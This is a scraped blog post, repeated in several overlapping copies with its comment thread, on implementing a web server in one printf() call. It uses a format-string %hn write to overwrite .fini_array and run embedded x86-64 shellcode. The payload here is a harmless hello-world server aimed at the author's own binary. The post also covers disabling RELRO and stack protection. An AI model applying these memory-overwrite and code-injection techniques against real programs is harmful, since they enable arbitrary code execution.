} I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Post navigation Previous Previous post: Raspberry Pi for Out of Band Linux PC management Next Next post: Exploiting the Futex Bug and uncovering Towelroot Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:47:54 |
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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-23565 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=23561#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" 